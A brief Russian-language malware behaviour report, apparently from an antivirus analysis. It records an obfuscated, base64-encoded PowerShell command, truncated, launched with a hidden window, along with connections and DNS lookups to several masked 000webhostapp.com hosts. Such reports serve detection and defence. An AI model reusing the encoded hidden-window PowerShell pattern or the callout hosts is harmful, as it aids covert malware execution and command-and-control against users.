Техническая информация
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -en PAAjACAAUwB5AHUAcgBoAHEAZQBsAGoAYwAgAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAG0AaQBjAHIAbwBzAG8AZgB0AC4AYwBvAG0ALwBGAG8AcwBhAGcAbwBhAGEAdwByAGQAbwBzACAAIwA+ACAAJABVAHAAaQBvAGoAagBnAGMAeQBtAD0AJwBIA...
- 'ac#####.000webhostapp.com':443
- 'rb#######ring.000webhostapp.com':443
- 'za######s.000webhostapp.com':443
- 'sy#########-composi.000webhostapp.com':443
- 'kw########eusz.000webhostapp.com':443
- DNS ASK ac#####.000webhostapp.com
- DNS ASK rb#######ring.000webhostapp.com
- DNS ASK za######s.000webhostapp.com
- DNS ASK sy#########-composi.000webhostapp.com
- DNS ASK kw########eusz.000webhostapp.com
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -en PAAjACAAUwB5AHUAcgBoAHEAZQBsAGoAYwAgAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAG0AaQBjAHIAbwBzAG8AZgB0AC4AYwBvAG0ALwBGAG8AcwBhAGcAbwBhAGEAdwByAGQAbwBzACAAIwA+ACAAJABVAHAAaQBvAGoAagBnAGMAeQBtAD0AJwBIA...' (со скрытым окном)